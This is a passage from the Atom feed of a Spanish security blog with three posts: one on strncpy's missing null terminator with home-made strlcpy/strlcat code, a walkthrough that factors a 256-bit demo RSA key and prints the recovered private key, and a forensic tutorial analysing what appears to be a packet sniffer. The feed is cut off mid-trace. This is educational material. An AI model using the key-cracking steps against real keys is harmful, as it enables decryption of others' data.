/&gt;&lt;br /&gt;&lt;/pre&gt; &lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si ejecutamos este código, la lógica nos dice que el resultado debería ser:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;aaaaaaaa&lt;/pre&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, dado que strncpy() no pone un null al final por haber sobrepasado la lóngitud máxima (en este caso 8), el resultado será:&lt;br /&gt;&lt;/div&gt; &lt;/div&gt;&lt;br /&gt;&lt;pre&gt;aaaaaaaainformacion sensible&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;dando lugar a un fallo de seguridad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; &lt;div style="text-align: justify;"&gt;Para evitar este tipo de problemas existen dos opciones. La primera consiste en asegurarnos de que se pone un NULL al final del string. Por ejemplo añadiendo:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;b[7]=0;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;La sengunda consiste en usar funciones seguras como strlcpy() y strlcat(). Pero estas funciones no son estándar, así que no suelen estar en algunos sistemas (como por ejemplo GNU/Linux). Así que a continuación dejo una copia:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;void strlcpy(char *dst, char *src, size_t size)&lt;br /&gt;{&lt;br /&gt;   size_t len = size;&lt;br /&gt;   char*  dstptr = dst;&lt;br /&gt;   char*  srcptr = src;&lt;br /&gt;&lt;br /&gt;   if(len &amp;&amp;amp; --len)&lt;br /&gt;      do { if(!(*dstptr++ = *srcptr++)) break; } while(--len);&lt;br /&gt;&lt;br /&gt;   if (!len &amp;&amp;amp; size) *dstptr=0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;void strlcat(char *dst, char *src, size_t size)&lt;br /&gt;{&lt;br /&gt;   size_t len = size;&lt;br /&gt;   size_t dstlen;&lt;br /&gt;   char *dstptr = dst;&lt;br /&gt;   char *srcptr = src;&lt;br /&gt;&lt;br /&gt;   while(len-- &amp;&amp;amp; *dstptr)&lt;br /&gt;      dstptr++;&lt;br /&gt;&lt;br /&gt;   dstlen = dstptr-dst;&lt;br /&gt;&lt;br /&gt;   if(!(len=size-dstlen))&lt;br /&gt;      return;&lt;br /&gt;&lt;br /&gt;   while(*srcptr)&lt;br /&gt;   {&lt;br /&gt;      if(len!=1)&lt;br /&gt;      {&lt;br /&gt;         *dstptr++ = *srcptr;&lt;br /&gt;         len--;&lt;br /&gt;      }&lt;br /&gt;      srcptr++;&lt;br /&gt;   }&lt;br /&gt;   *dstptr=0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-6089911212290906342?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/6089911212290906342/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=6089911212290906342' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6089911212290906342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6089911212290906342'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/sobre-strcpy-y-strcat.html' title='Sobre str*cpy() y str*cat()'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7544765152732582839</id><published>2007-05-13T05:37:00.000-07:00</published><updated>2008-12-04T01:28:24.904-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Rompiendo claves RSA</title><content type='html'>&lt;div style="text-align: justify;"&gt;Aunque hoy por hoy no es posible romper una clave RSA de más de 1024 bits ni con miles de computadoras trabajando en paralelo, los algoritmos de factorización no dejan de mejorar. A continuación voy a explicar cómo romper una clave RSA relativamente pequeña usando uno de estos algoritmos.&lt;br /&gt;&lt;br /&gt;Primero crearemos un entorno de pruebas con el que cifrar y descifrar. Usaremos la herramienta &lt;a href="http://openssl.org/"&gt;openssl&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;Generamos un par de claves RSA de 256 bits.&lt;br /&gt;$ openssl genrsa -out privkey.pem 256&lt;br /&gt;&lt;br /&gt;# Extraemos la clave publica&lt;br /&gt;$ openssl rsa -in privkey.pem -pubout -out pubkey.pem&lt;br /&gt;$ cat pubkey.pem&lt;br /&gt;-----BEGIN PUBLIC KEY-----&lt;br /&gt;MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW&lt;br /&gt;QScrI2z8UVBhAgMBAAE=&lt;br /&gt;-----END PUBLIC KEY-----&lt;br /&gt;&lt;br /&gt;# Algo que cifrar&lt;br /&gt;$ echo ";)" &gt; msg.txt&lt;br /&gt;&lt;br /&gt;# Ciframos (con la clave publica)&lt;br /&gt;$ openssl rsautl -encrypt -pubin -inkey pubkey.pem -in msg.txt -out msg.enc&lt;br /&gt;&lt;br /&gt;# Desciframos (con la clave privada)&lt;br /&gt;$ openssl rsautl -decrypt -inkey privkey.pem -in msg.enc&lt;br /&gt;;)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ya tenemos nuestro entorno de pruebas con un par de claves que nos pemiten cifrar y descifrar mensajes. Como RSA es un criptosistema asimétrico se supone que deberíamos distribuir la clave pública, mientras que guardaríamos con recelo la clave privada.&lt;br /&gt;&lt;br /&gt;Nuetro objetivo será obtener la clave privada partiendo únicamente de la clave pública. Una vez obtenida descifraremos el mensaje.&lt;br /&gt;&lt;br /&gt;RSA basa su fuerza en el problema de factorización de números grandes. Un problema matemático para el que no se conoce un algoritmo que lo resuelva de forma eficiente. Entre los algoritmos más rápidos destacan &lt;a href="http://en.wikipedia.org/wiki/Quadratic_Sieve"&gt;QS&lt;/a&gt; y &lt;a href="http://en.wikipedia.org/wiki/General_number_field_sieve"&gt;NFS&lt;/a&gt;. Ambos implementados por la genial herramienta &lt;a href="http://www.boo.net/%7Ejasonp/qs.html"&gt;msieve&lt;/a&gt; (Instalar).&lt;br /&gt;&lt;br /&gt;Lo primero que necesitamos es el módulo n y el exponete de cifrado. Los dos se pueden obtener facilmente a partir de la clave pública.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;$ openssl rsa -in pubkey.pem -pubin -text -modulus&lt;br /&gt;Modulus (256 bit):&lt;br /&gt;00:ad:7f:79:a1:e5:5b:af:0e:af:06:9e:4f:f5:fa:&lt;br /&gt;57:d9:b1:e2:99:2f:13:c9:96:41:27:2b:23:6c:fc:&lt;br /&gt;51:50:61&lt;br /&gt;Exponent: 65537 (0x10001)&lt;br /&gt;Modulus=AD7F79A1E55BAF0EAF069E4FF5FA57D9B1E2992F13C99641272B236CFC515061&lt;br /&gt;writing RSA key&lt;br /&gt;-----BEGIN PUBLIC KEY-----&lt;br /&gt;MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW&lt;br /&gt;QScrI2z8UVBhAgMBAAE=&lt;br /&gt;-----END PUBLIC KEY-----&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Observemos que el módulo está en hexadecimal. Para continuar será necesario pasarlo a decimal. A continuación, lo factorizamos con msieve:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 51);font-family:courier new;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ msieve -v 78475351858145546395020889284272950035474797715255953445997961959441362407521&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Obteniendo como resultado los factores:&lt;br /&gt;262908038773065572592762474383232893183&lt;br /&gt;298489738938272421513567914663780208287&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Únicamente nos quedará recuperar la clave original a partir de los datos obtenidos. Usaremos el programa &lt;a href="http://www.opendomo.com/dlerch/sources/projects/factorization/get_priv_key.c"&gt;get_priv_key&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 51);font-family:courier new;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ ./get_priv_key 262908038773065572592762474383232893183 298489738938272421513567914663780208287 65537&lt;br /&gt;-----BEGIN RSA PRIVATE KEY-----&lt;br /&gt;MIGrAgEAAiEArX95oeVbrw6vBp5P9fpX2bHimS8TyZZBJysjbPxRUGECAwEAAQIg&lt;br /&gt;L/uaWxEAq0iHVXBBMwk6dDC0mJubL4dVLLdiaA01NPUCEQDgjwhah0l/hqX+D3Xh&lt;br /&gt;3s6fAhEAxco/F01rh+Uzf+LV2K6A/wIRANOCxcqHPRpKGFV5+H3cYF8CEEN8O0Sf&lt;br /&gt;JNZsTMMQyXgyKk8CEQCRfomgf/LY71boM54D8a5C&lt;br /&gt;-----END RSA PRIVATE KEY-----&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Con la nueva clave privada ya podemos acceder al mensaje cifrado.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 51);font-family:courier new;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;$ openssl rsautl -decrypt -inkey cracked_privkey.pem -in msg.enc&lt;br /&gt;;)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 51);font-family:courier new;" &gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;u&gt;Referencias&lt;/u&gt;:&lt;br /&gt;- &lt;a href="http://www.rsa.com/rsalabs/"&gt;RSA Labs&lt;/a&gt;.&lt;br /&gt;- Ataque de factorización a RSA (&lt;a href="http://hakin9.org/"&gt;hakin9&lt;/a&gt; nº19).&lt;br /&gt;- &lt;a href="http://citeseer.ist.psu.edu/692841.html"&gt;On the cost of factoring RSA 1024.&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7544765152732582839?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7544765152732582839/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7544765152732582839' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7544765152732582839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7544765152732582839'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/rompiendo-claves-rsa.html' title='Rompiendo claves RSA'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5836274300166116008</id><published>2007-05-13T03:38:00.000-07:00</published><updated>2008-12-04T01:28:25.947-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Análisis forense'/><title type='text'>Introducción al análisis de binarios</title><content type='html'>&lt;div style="text-align: justify;"&gt;En ocasiones, frecuentemente después de un ataque, quizás durante un análisis forense, podemos encontrar misteriosos binarios en la máquina. Programas que pueden haber sido dejados por el atacante, asi como herramientas que ha utilizado o incluso binarios del sistema troyanizados.&lt;br /&gt;&lt;br /&gt;Pueden utilizarse diversas técnicas para obtener pistas sobre lo que hace ese binario, pero lo que si esta claro que no hay que hacer, es ejecutarlo. Quién sabe que podría hacer con nuestro sistema: borrar todas rastro del ataque, destruir ficheros, o ...&lt;br /&gt;&lt;br /&gt;Es posible que tengamos suficiente consultando Internet para averiguar que programa es. Aunque esto no siempre es suficiente, ya que econtraremos&lt;br /&gt;programas con nombres poco identificativos o programados por el mismo intruso.&lt;br /&gt;&lt;br /&gt;En este post se describe brevemente como utilizar algunas herramientas de Linux para descubrir que hace un programa del que no disponemos de codigo fuente.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Qué tipo de fichero es?&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Para obtener información del tipo de fichero, en Unix disponemos de la herramienta file. Veamos un ejemplo de su uso con dos programas desconocidos;&lt;br /&gt;a.out y b.out:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;$ file a.out&lt;br /&gt;a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux&lt;br /&gt;2.2.5, dynamically linked (uses shared libs), not stripped&lt;br /&gt;&lt;br /&gt;# file b.out&lt;br /&gt;b.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux&lt;br /&gt;2.2.5, statically linked, not stripped&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt; &lt;div style="text-align: justify;"&gt;Podemos observar una diferencia importante entre los dos programas analizados. a.out esta enlazado dinámicamente y b.out esta enlazado estáticamente. Por defecto, en compiladores como gcc, se enlaza dinámicamente. Medinate el flag -static podemos compilar un ejecutable estático, y hacer de esta manera que no dependa de librerías externas.&lt;br /&gt;&lt;br /&gt;Los binarios estáticos son mucho mas grandes que los dinámicos, ya que el ejecutable final dispone de todas las librerías necesarias. Estos serán más difíciles de analizar, debido a la gran cantidad de informacion que pueden contener.&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;&lt;br /&gt;Ejemplo de compilacion dinamica:&lt;br /&gt;$ gcc src.c -o a.out&lt;br /&gt;&lt;br /&gt;Ejemplo de compilacion estatica:&lt;br /&gt;$ gcc -static src.c -o b.out&lt;br /&gt;&lt;br /&gt;Resultado:&lt;br /&gt;$ ls -lh&lt;br /&gt;-rwxr-xr-x  1 dlerch dlerch 5,5K nov  8 12:21 a.out&lt;br /&gt;-rwxr-xr-x  1 dlerch dlerch 405K nov  8 12:21 b.out&lt;br /&gt;-rw-r--r--  1 dlerch dlerch 1,5K nov  8 12:10 src.c&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Otra información importante que ofrece el comando 'file' es si el binario es 'striped' o 'no striped'. Si el binario es 'striped' esto significará; que el programador ha eliminado los símbolos del fichero objeto. Simbolos que genera el compilador y que nos ayudarían enormemente en nuestra búsqueda de la funcionalidad del mismo.&lt;br /&gt;&lt;br /&gt;Estos simbolos pueden eliminarse con el comando 'strip':&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;$ ls -lh a.out&lt;br /&gt;-rwxr-xr-x  1 root root 5,5K nov  8 12:30 a.out&lt;br /&gt;$ strip a.out&lt;br /&gt;$ ls -lh a.out&lt;br /&gt;-rwxr-xr-x  1 root root 3,6K nov  8 12:31 a.out&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt; &lt;div style="text-align: justify;"&gt;En el siguiente apartado se explica el uso del comando 'nm', el principal afectado del uso de 'strip'.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Analisis de los símbolos del fichero objeto.&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;El comando 'nm' sirve para listar los símbolos del código objeto. Por este motivo si el binario no dispone de símbolo debido a que se ha aplicado sobre el el comando 'strip', 'nm' no nos servira de nada.&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;$ strip a.out&lt;br /&gt;$ nm a.out&lt;br /&gt;nm: a.out: no hay simbolos&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En caso de que el binario disponga de los símbolos el resultado puede darnos algunas indicaciones. Si además, el binario ha sido compilado para ofrecer información de depuración (flag -g, poco probable), todavía dispondremos de más información.&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;&lt;br /&gt;$ nm -a a.out&lt;br /&gt;&lt;br /&gt;[Se ha suprimido parte de informacion, para abreviar]&lt;br /&gt;&lt;br /&gt;080497f8 A __bss_start&lt;br /&gt;08048454 t call_gmon_start&lt;br /&gt;080497f8 b completed.1&lt;br /&gt;00000000 a crtstuff.c&lt;br /&gt;00000000 a crtstuff.c&lt;br /&gt;080496e0 d __CTOR_END__&lt;br /&gt;080496dc d __CTOR_LIST__&lt;br /&gt;080497ec D __data_start&lt;br /&gt;080497ec W data_start&lt;br /&gt;0804866c t __do_global_ctors_aux&lt;br /&gt;08048478 t __do_global_dtors_aux&lt;br /&gt;080497f0 D __dso_handle&lt;br /&gt;080496e8 d __DTOR_END__&lt;br /&gt;080496e4 d __DTOR_LIST__&lt;br /&gt;080496f0 D _DYNAMIC&lt;br /&gt;080497f8 A _edata&lt;br /&gt;080497fc A _end&lt;br /&gt;      U exit@@GLIBC_2.0&lt;br /&gt;08048690 T _fini&lt;br /&gt;080496dc A __fini_array_end&lt;br /&gt;080496dc A __fini_array_start&lt;br /&gt;080486ac R _fp_hw&lt;br /&gt;080484b4 t frame_dummy&lt;br /&gt;080486d8 r __FRAME_END__&lt;br /&gt;080497bc D _GLOBAL_OFFSET_TABLE_&lt;br /&gt;      w __gmon_start__&lt;br /&gt;      U htons@@GLIBC_2.0&lt;br /&gt;      U inet_ntoa@@GLIBC_2.0&lt;br /&gt;08048378 T _init&lt;br /&gt;080496dc A __init_array_end&lt;br /&gt;080496dc A __init_array_start&lt;br /&gt;080486b0 R _IO_stdin_used&lt;br /&gt;080496ec d __JCR_END__&lt;br /&gt;080496ec d __JCR_LIST__&lt;br /&gt;      w _Jv_RegisterClasses&lt;br /&gt;08048628 T __libc_csu_fini&lt;br /&gt;080485e0 T __libc_csu_init&lt;br /&gt;      U __libc_start_main@@GLIBC_2.0&lt;br /&gt;080484e0 T main&lt;br /&gt;      U ntohs@@GLIBC_2.0&lt;br /&gt;080497f4 d p.0&lt;br /&gt;      U perror@@GLIBC_2.0&lt;br /&gt;080496dc A __preinit_array_end&lt;br /&gt;080496dc A __preinit_array_start&lt;br /&gt;      U printf@@GLIBC_2.0&lt;br /&gt;      U read@@GLIBC_2.0&lt;br /&gt;      U socket@@GLIBC_2.0&lt;br /&gt;00000000 a src.c&lt;br /&gt;08048430 T _start&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como podemos observar en la salida del comando anterior, se utilizan ciertas llamadas a la librería de C como: exit, htons, inet_ntoa, ntohs, perror, printf, read o socket. Es especialmente interesante el hecho de que existen algunas funciones de red como socket(). Sin duda este programa dispone de alguna funcionalidad de red. Sigamos investigando.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Obtener cadenas de texto.&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Existe un comando que nos permite obtener las cadenas de texto que se mantienen en el fichero ejecutable. Esto nos permite obtener cierta informacion de forma rapida y sencilla. Este comando es 'strings':&lt;br /&gt;&lt;/div&gt; &lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;$ strings a.out&lt;br /&gt;/lib/ld-linux.so.2&lt;br /&gt;_Jv_RegisterClasses&lt;br /&gt;__gmon_start__&lt;br /&gt;libc.so.6&lt;br /&gt;printf&lt;br /&gt;perror&lt;br /&gt;socket&lt;br /&gt;read&lt;br /&gt;ntohs&lt;br /&gt;inet_ntoa&lt;br /&gt;htons&lt;br /&gt;exit&lt;br /&gt;_IO_stdin_used&lt;br /&gt;__libc_start_main&lt;br /&gt;GLIBC_2.0&lt;br /&gt;PTRh(&lt;br /&gt;socket()&lt;br /&gt;src: %s:%d              dst: %s:%d&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Al parecer no hay mucha información que no nos haya proporcionado ya el comando 'nm', aunque sin duda, parte de esta información la ofrece 'strings' de una forma mas legible.&lt;br /&gt;&lt;br /&gt;Adicionalmente al comando anterior obtenemos la cadena:&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;&lt;br /&gt;src: %s:%d              dst: %s:%d&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El objetivo de este programa salta a la vista ...&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Analisis dinámico&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Una vez estamos mas o menos seguros de que el programa no dañaría nuestro sistema en caso de ser ejecutado, podemos realizar un análisis dinámico. Este pasa por ejecutar el programa.&lt;br /&gt;&lt;br /&gt;Disponemos de dos programas muy interesantes para hacer esto: strace y ltrace. El primero nos informa de las llamadas al sistema que efectúa el&lt;br /&gt;programa, mientras que el segundo informa de las librerías a las que&lt;br /&gt;llama.&lt;br /&gt;&lt;br /&gt;Veamos una ejecucion del primero:&lt;br /&gt;&lt;/div&gt; &lt;pre&gt;&lt;span style="font-family:courier;"&gt;&lt;br /&gt;$ strace -o strace.out ./a.out&lt;br /&gt;src: 192.168.0.3:8449          dst: 192.168.0.3:7&lt;br /&gt;src: 192.168.0.3:8450          dst: 192.168.0.3:7&lt;br /&gt;src: 192.168.0.3:8451          dst: 192.168.0.3:7&lt;br /&gt;src: 192.168.0.3:8452          dst: 192.168.0.3:7&lt;br /&gt;src: 192.168.0.3:8453          dst: 192.168.0.3:7&lt;br /&gt;...&lt;br /&gt;[ Finalizamos con Contrl+C ]&lt;br /&gt;&lt;br /&gt;$ cat strace.out&lt;br /&gt;execve("./a.out", ["./a.out"], [/* 37 vars */]) = 0&lt;br /&gt;uname({sys="Linux", node="hackerbox", ...}) = 0&lt;br /&gt;brk(0)                                  = 0x804a000&lt;br /&gt;open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or&lt;br /&gt;directory)&lt;br /&gt;open("/etc/ld.so.cache", O_RDONLY)      = 3&lt;br /&gt;fstat64(3, {st_mode=S_IFREG|0644, st_size=131688, ...}) = 0&lt;br /&gt;old_mmap(NULL, 131688, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6fdf000&lt;br /&gt;close(3)                                = 0&lt;br /&gt;open("/lib/tls/libc.so.6", O_RDONLY)    = 3&lt;br /&gt;read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\313"..., 512) =&lt;br /&gt;512fstat64(3, {st_mode=S_IFREG|0755, st_size=1455084, ...}) = 0&lt;br /&gt;old_mmap(0xaa8000, 1158124, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xaa8000&lt;br /&gt;old_mmap(0xbbd000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,&lt;br /&gt;0x115000) = 0xbbd000&lt;br /&gt;old_mmap(0xbc1000, 7148, PROT_READ|PROT_WRITE,&lt;br /&gt;MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xbc1000&lt;br /&gt;close(3)                                = 0&lt;br /&gt;old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =&lt;br /&gt;0xf6fde000&lt;br /&gt;mprotect(0xbbd000, 8192, PROT_READ)     = 0&lt;br /&gt;mprotect(0xaa0000, 4096, PROT_READ)     = 0&lt;br /&gt;set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xf6fde300, limit:1048575,&lt;br /&gt;seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,&lt;br /&gt;seg_not_present:0, useable:1}) = 0&lt;br /&gt;munmap(0xf6fdf000, 131688)              = 0&lt;br /&gt;socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3&lt;br /&gt;read(3, "\1\0^\0\0\22\0\0^\0\1\1\10\0E\20\0008\337\310@\0\377p\254"..., 54) =&lt;br /&gt;54fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0&lt;br /&gt;mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =&lt;br /&gt;0xf6fff000&lt;br /&gt;write(1, "src: 192.168.0.3:8449\t\tdst: 192"..., 45) = 45&lt;br /&gt;read(3, "\1\0^\0\0\22\0\0^\0\1\2\10\0E\20\0008\207\324@\0\377p\4"..., 54) = 54&lt;br /&gt;write(1, "src: 192.168.0.3:8450\t\tdst: 192"..., 45) = 45&lt;br /&gt;read(3, "\1\0^\0\0\22\0\0^\0\1\3\10\0E\20\0008\312\334@\0\377p\301"..., 54) =&lt;br /&gt;54write(1, "src: 192.168.0.3:8451\t\tdst: 192"..., 45) = 45&lt;br /&gt;read(3, "\1\0^\0\0\22\0\0^\0\1\4\10\0E\20\0008\302\214@\0\377p\311"..., 54) =&lt;br /&gt;54write(1, "src: 192.168.0.3:8452\t\tdst: 192"..., 45) = 45&lt;br /&gt;read(3, "\1\0^\0\0\22\0\0^\0\1\5\10\0E\20\0008\213\370@\0\377p\0"..., 54) = 54&lt;br /&gt;write(1, "src: 192.168.0.3:8453\t\tdst: 192"..., 45) = 45&lt;br /&gt;read(3, "\0\4u\201\335L\0\260\320\276Z\271\10\0E\0\0004\36\370@"..., 54) = 54&lt;br /&gt;--- SIGINT (Interrupt) @ 0 (0) ---&lt;br /&gt;+++ killed by SIGINT +++&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Y con ltrace:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-family:courier;"&gt;&lt;br /&gt;$ ltrace -o ltrace.out ./a.out&lt;br /&gt;src: 192.168.0.2:22            dst: 192.168.0.2:57378&lt;br /&gt;src: 192.168.0.1:57378                dst: 192.168.0.1:22&lt;br /&gt;src: 192.168.0.2:22            dst: 192.168.0.2:57378&lt;br /&gt;src: 192.168.0.1:57378                dst: 192.168.0.1:22&lt;br /&gt;src: 192.168.0.1:57378                dst: 192.168.0.1:22&lt;br /&gt;...&lt;br /&gt;[ Finalizamos con Contrl+C. Podemos ver la captura ]&lt;br /&gt;&lt;br /&gt;$ cat ltrace.out&lt;br /&gt;__libc_start_main(0x80484e0, 1, 0xfefff734, 0x80485e0, 0x8048628 &lt;unfinished&gt;&lt;br /&gt;&lt;br /&gt;htons(3, 0, 0, 0, 0)                             = 768&lt;br /&gt;socket(2, 10, 768)                               = 3&lt;br /&gt;read(3, "", 54)                                  = 54&lt;br /&gt;ntohs(5632)                                      = 22&lt;br /&gt;inet_ntoa(0xfd92550)                             = "192.168.0.2"&lt;br /&gt;ntohs(8928)                                      = 57378&lt;br /&gt;inet_ntoa(0x214ea8c0)                            = "192.168.0.1"&lt;br /&gt;printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",&lt;br /&gt;22) = 49&lt;br /&gt;read(3, "", 54)                                  = 54&lt;br /&gt;ntohs(5632)                                      = 22&lt;br /&gt;inet_ntoa(0xfd92550)                             = "192.168.0.2"&lt;br /&gt;ntohs(8928)                                      = 57378&lt;br /&gt;inet_ntoa(0x214ea8c0)                            = "192.168.0.1"&lt;br /&gt;printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",&lt;br /&gt;22) = 49&lt;br /&gt;read(3, "", 54)                                  = 54&lt;br /&gt;ntohs(5632)                                      = 22&lt;br /&gt;inet_ntoa(0xfd92550)                             = "192.168.0.2"&lt;br /&gt;ntohs(8928)                                      = 57378&lt;br /&gt;inet_ntoa(0x214ea8c0)                            = "192.168.0.1"&lt;br /&gt;printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",&lt;br /&gt;22) = 49&lt;br /&gt;read(3, "", 54)                                  = 54&lt;br /&gt;ntohs(8928)                                      = 57378&lt;br /&gt;inet_ntoa(0x214ea8c0) 